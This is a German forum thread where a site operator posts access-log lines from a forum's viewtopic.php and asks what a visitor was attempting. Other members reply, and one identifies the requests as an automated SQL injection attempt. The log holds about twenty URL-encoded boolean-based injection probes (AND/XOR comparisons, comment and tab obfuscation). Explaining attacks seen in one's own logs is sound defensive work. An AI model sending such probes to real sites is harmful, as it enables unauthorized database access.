Logfiles, bitte um Erklärung

[Fnord]

Hallo,

es passt nicht wirklich in diese Kategorie aber ich wusste nicht genau wohin. Falls es woanders besser aufgehoben ist, bitte verschieben. Danke.

Meine Frage: Also dass dieser liebe Gast nichts Gutes im Sinn hatte scheint mir so aber was genau hat er da getan, kann mir das jemand erklären?


Auszug aus dem Logfile

"GET /viewtopic.php?f=3&t=638&p=49290%27%20aND%20%278%27%3D%273 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
"GET /viewtopic.php?f=3&t=638&p=49290%09aND%098%3D8 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
"GET /viewtopic.php?f=3&t=638&p=49290%09aND%098%3D3 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
"GET /viewtopic.php?f=3&t=638&p=49290%27%09aND%09%278%27%3D%278 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
"GET /viewtopic.php?f=3&t=638&p=49290/**/aND/**/8%3D8 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
"GET /viewtopic.php?f=3&t=638&p=49290/**/aND/**/8%3D3 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
"GET /viewtopic.php?f=3&t=638&p=49290%27/**/aND/**/%278%27%3D%278 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
"GET /viewtopic.php?f=3&t=638&p=49290%27/**/aND/**/%278%27%3D%273 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
"GET /viewtopic.php?f=3&t=638&p=49290%25%27%20aND%20%278%25%27%3D%278 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
"GET /viewtopic.php?f=3&t=638&p=49290%25%27%20aND%20%278%25%27%3D%273 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
"GET /viewtopic.php?f=3&t=638&p=49290%25%27%09aND%09%278%27%3D%278 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
"GET /viewtopic.php?f=3&t=638&p=49290%25%27%09aND%09%278%25%27%3D%273 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
"GET /viewtopic.php?f=3&t=638&p=49290%25%27/**/aND/**/%278%27%3D%278 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
"GET /viewtopic.php?f=3&t=638&p=49290%25%27/**/aND/**/%278%25%27%3D%273 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
"GET /viewtopic.php?f=3&t=638&p=49290%20XoR%208%3D3 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
"GET /viewtopic.php?f=3&t=638&p=49290%20XoR%208%3D8 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
"GET /viewtopic.php?f=3&t=638&p=49290%09XoR%098%3D3 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
"GET /viewtopic.php?f=3&t=638&p=49290%09XoR%098%3D8 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"

...

"GET /viewtopic.php?f=3&t=638&p=49290%27%20XoR%20%278%27%3D%273 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
"GET /viewtopic.php?f=3&t=638&p=49290%27%20XoR%20%278%27%3D%278 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
"GET /viewtopic.php?f=3&t=638&p=49290%27%09XoR%09%278%27%3D%273 HTTP/1.1" 200 52686 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"

[CoKeSiDe]

Ich bin mir zwar nicht sicher aber ich glaube das heißt das ein Gast immer GET Eingaben in die Browserleiste eingegeben hat, die nicht exestieren.

[Fnord]

Aufrufen geht. Was mich stutzig macht ist das 'aND' und 'XoR'.

[Dr.Death]

Hallo,

das könnte ein automatischer Versuch gewesen zu sein um eine SQL Injection durchzuführen.

49290/**/aND/**/8%3D8

49290 aND 8 = 8